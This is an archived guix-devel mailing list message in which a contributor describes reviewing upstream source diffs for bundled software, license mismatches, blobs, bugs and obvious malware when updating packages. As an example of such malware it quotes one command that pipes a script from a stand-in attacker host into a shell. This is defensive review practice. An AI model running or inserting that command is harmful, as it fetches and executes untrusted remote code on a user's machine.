From mboxrd@z Thu Jan 1 00:00:00 1970 Return-Path: Received: from mp10.migadu.com ([2001:41d0:2:bcc0::]) (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)) by ms0.migadu.com with LMTPS id 6Fa+ICAJSGIQwQAAgWs5BA (envelope-from ) for ; Sat, 02 Apr 2022 10:28:16 +0200 Received: from aspmx1.migadu.com ([2001:41d0:2:bcc0::]) (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)) by mp10.migadu.com with LMTPS id cK42GSAJSGK2HQAAG6o9tA (envelope-from ) for ; Sat, 02 Apr 2022 10:28:16 +0200 Received: from lists.gnu.org (lists.gnu.org [209.51.188.17]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (No client certificate requested) by aspmx1.migadu.com (Postfix) with ESMTPS id F331CB731 for ; Sat, 2 Apr 2022 10:28:15 +0200 (CEST) Received: from localhost ([::1]:48644 helo=lists1p.gnu.org) by lists.gnu.org with esmtp (Exim 4.90_1) (envelope-from ) id 1naZ7G-0000dv-Rj for larch@yhetil.org; Sat, 02 Apr 2022 04:28:14 -0400 Received: from eggs.gnu.org ([209.51.188.92]:50474) by lists.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256) (Exim 4.90_1) (envelope-from ) id 1naZ70-0000c1-H9 for guix-devel@gnu.org; Sat, 02 Apr 2022 04:27:59 -0400 Received: from [2a02:1800:120:4::f00:15] (port=39576 helo=andre.telenet-ops.be) by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_128_GCM_SHA256:128) (Exim 4.90_1) (envelope-from ) id 1naZ6x-0007aY-Vt for guix-devel@gnu.org; Sat, 02 Apr 2022 04:27:58 -0400 Received: from ptr-bvsjgyhxw7psv60dyze.18120a2.ip6.access.telenet.be ([IPv6:2a02:1811:8c09:9d00:3c5f:2eff:feb0:ba5a]) by andre.telenet-ops.be with bizsmtp id DkTp2700c4UW6Th01kTqfq; Sat, 02 Apr 2022 10:27:50 +0200 Message-ID: <524c815e2d10f4012eb5f0192755b76b2297af6b.camel@telenet.be> Subject: Re: Reviewing the diff when updating a package? From: Maxime Devos To: Thiago Jung Bauermann Date: Sat, 02 Apr 2022 10:27:45 +0200 In-Reply-To: <87y20ogqjl.fsf@kolabnow.com> References: <0035734f12073a2f50d41641f66dacc35e2e6a2c.camel@telenet.be> <87y20ogqjl.fsf@kolabnow.com> Content-Type: multipart/signed; micalg="pgp-sha512"; protocol="application/pgp-signature"; boundary="=-yyuA5hwf0YmbUzs5b7G0" User-Agent: Evolution 3.38.3-1 MIME-Version: 1.0 DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=telenet.be; s=r22; t=1648888070; bh=sBToFVQMB+mEEDOu+VWcIs6J8P6x5m74eFwFnz9I2v4=; h=Subject:From:To:Cc:Date:In-Reply-To:References; b=ncA5QtmotvqNJIvKILV8N60juTmHmadznL7dhdCTKwKZ0ifrrLZX6MMOoVOK1Z/wj 3lX9SPspCodyncFbr5BJ4GWMDRAh/5UJH141hlQ1sQU6GnDJRZvyc1twgmNS7ivc5r QvfUMeDNSc+eyS2eZJJK8IjsWrT7kuCSJcBr8irWuylOcFEL3SbE8LgupWYbYgpiNU D81mj3lDrWrGVhYZOQAq0dbR/T12BrFGyFhptzspk1+FmzriLninKX37sdNGqOkRlp oCbiWxpzXcAAmCKvie/8TAyKIwh0R/jLOwNFjPdNWrK0sYzQVYmIKP/A6B4YWn+f4W ZmLSNW3LFLXzw== X-Host-Lookup-Failed: Reverse DNS lookup failed for 2a02:1800:120:4::f00:15 (failed) Received-SPF: pass client-ip=2a02:1800:120:4::f00:15; envelope-from=maximedevos@telenet.be; helo=andre.telenet-ops.be X-Spam_score_int: -19 X-Spam_score: -2.0 X-Spam_bar: -- X-Spam_report: (-2.0 / 5.0 requ) BAYES_00=-1.9, DKIM_SIGNED=0.1, DKIM_VALID=-0.1, DKIM_VALID_AU=-0.1, DKIM_VALID_EF=-0.1, FREEMAIL_FROM=0.001, RCVD_IN_DNSWL_LOW=-0.7, RDNS_NONE=0.793, SPF_HELO_NONE=0.001, SPF_PASS=-0.001, T_SCC_BODY_TEXT_LINE=-0.01 autolearn=no autolearn_force=no X-Spam_action: no action X-BeenThere: guix-devel@gnu.org X-Mailman-Version: 2.1.29 Precedence: list List-Id: "Development of GNU Guix and the GNU System distribution." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Cc: guix-devel@gnu.org Errors-To: guix-devel-bounces+larch=yhetil.org@gnu.org Sender: "Guix-devel" X-Migadu-Flow: FLOW_IN X-Migadu-To: larch@yhetil.org X-Migadu-Country: US ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=yhetil.org; s=key1; t=1648888096; h=from:from:sender:sender:reply-to:subject:subject:date:date: message-id:message-id:to:to:cc:cc:mime-version:mime-version: content-type:content-type:in-reply-to:in-reply-to: references:references:list-id:list-help:list-unsubscribe: list-subscribe:list-post:dkim-signature; bh=sBToFVQMB+mEEDOu+VWcIs6J8P6x5m74eFwFnz9I2v4=; b=W+B45/dN7B3V+HzY44bCOrGmInvxPt1T3PiHQuBFufdizmpR1N+5jWXLgP2sqokmWWEwOQ +GoYHCmedYsW2eM6gTK3yXNQLUe4Q+hHQ3RgpSVHd4R8c5O4mJnGOAdGr5GzJc9DcYEBL2 dpQt9fHxcV5D61yLdyH1kf1QQA7y7Di4ni+jvsSDIAuJRv07bCkryduiZhoSfm+YwX9X4R oog/Nm4GIv1MKoUqNn17IkFKZSYFdup+ucdRg3stpN9gffTmJa/uWpYGAGOTyklcdbPLat j1vLxx2FeEacAse6/POyWJ+TGeOtPaZWoPyrDkoNIfMDRP67/ZWuC38rD8k93w== ARC-Seal: i=1; s=key1; d=yhetil.org; t=1648888096; a=rsa-sha256; cv=none; b=bSFFPqQKA19qKA6GFsXbubWzCstIOYOqLsJn3CTW7sEivxQh40zLsW5RZciMs9SI/z4HjK 3yk1skC9uVAWa6bPgViWrJbPmKA4kVcBRwSs8ofsY0O5ybYkLF9aQrrVphEqWXj33MHF5l wCpSMGY53zvUpJY1ZNqxjVqAIQVBCJPgaSbAR9HspV2Hgx5v34X9OZQtLJxqO3car1TAgl AgTmT9su1n2FOHrUlDw6hDiBbPAShTpIPHi8av4JhSScPZGVmNGnppjxWLT1oOLQsFiDZm pQH0GJOMlXSiTUOl2mOqDrFSPa2IHYZNJg2b+w20YEQKv7m3jDoNxMbGxJ69sw== ARC-Authentication-Results: i=1; aspmx1.migadu.com; dkim=pass header.d=telenet.be header.s=r22 header.b=ncA5Qtmo; dmarc=pass (policy=none) header.from=telenet.be; spf=pass (aspmx1.migadu.com: domain of "guix-devel-bounces+larch=yhetil.org@gnu.org" designates 209.51.188.17 as permitted sender) smtp.mailfrom="guix-devel-bounces+larch=yhetil.org@gnu.org" X-Migadu-Spam-Score: -6.98 Authentication-Results: aspmx1.migadu.com; dkim=pass header.d=telenet.be header.s=r22 header.b=ncA5Qtmo; dmarc=pass (policy=none) header.from=telenet.be; spf=pass (aspmx1.migadu.com: domain of "guix-devel-bounces+larch=yhetil.org@gnu.org" designates 209.51.188.17 as permitted sender) smtp.mailfrom="guix-devel-bounces+larch=yhetil.org@gnu.org" X-Migadu-Queue-Id: F331CB731 X-Spam-Score: -6.98 X-Migadu-Scanner: scn0.migadu.com X-TUID: YW7fhymhvBxg --=-yyuA5hwf0YmbUzs5b7G0 Content-Type: text/plain; charset="UTF-8" Content-Transfer-Encoding: quoted-printable Thiago Jung Bauermann schreef op vr 01-04-2022 om 22:59 [-0300]: > Hello Maxime, >=20 > Maxime Devos writes: >=20 > > Patch is not yet ready (I'm looking at the source code diff for > > anything =E2=80=98suspicious=E2=80=99), just reserving a bug number and= avoiding double > > work.=C2=A0 Will send an actual patch later. >=20 > I hope you don't mind me asking what do you mean by =E2=80=98suspicious= =E2=80=99? >=20 > Is it reviewing the code for security concerns? That (to a limited degree), and other things. >=20 > I ask because I've wondered sometimes whether contributors updating a > package to a new version should review the new source code. I don't think it's feasible for, say, large things like GCC and Linux. But for smaller things with smaller diffs, say a hypothetical npm- event-stream package, it would easily avoid things like the compromise described in . While we cannot feasibly protect users against more =E2=80=98hidden=E2=80= =99 malware (e.g. some non-obvious remote code execution in C that then will be exploited by the upstream authors), the more obvious =E2=80=98here's a blob= you don't need to look at=E2=80=99 seems detectable. I think =E2=80=98no malwa= re (AFAWCT)=E2=80=99 is an important property of a distribution. I look for the following things: 1. additional bundled software 2. code with a different license than mentioned in the 'license' field (especially if it's propietary) 3. =E2=80=98obvious=E2=80=99 malware like: curl https://evil.bar | sh - i= n a 4. blobs (possibly hiding malware) 5. things that look like bugs (e.g. not checking the return value of 'malloc' for NULL, not escaping things written to HTML documents ...) I think I can reliably detect (1,3,4). I sometimes detect (5) but not detecting (5) (*) doesn't mean there are no bugs, I just quickly scroll through the code and don't do any detailed analysis (*) more specifically, some code not checking for NULL and an URL being embedded in the 'href' attribute of an XML element without escaping. Greetings, Maxime. --=-yyuA5hwf0YmbUzs5b7G0 Content-Type: application/pgp-signature; name="signature.asc" Content-Description: This is a digitally signed message part Content-Transfer-Encoding: 7bit -----BEGIN PGP SIGNATURE----- iI0EABYKADUWIQTB8z7iDFKP233XAR9J4+4iGRcl7gUCYkgJARccbWF4aW1lZGV2 b3NAdGVsZW5ldC5iZQAKCRBJ4+4iGRcl7sj6AQCHdfqPiwgjSgDDD/4/BzHY6Uuy TORSMICofVQMF+kRSAEA3BpvDk+L3cb30xGmg1RYhjcmt+Hp14ZbjTAK2b9IPQk= =lraU -----END PGP SIGNATURE----- --=-yyuA5hwf0YmbUzs5b7G0--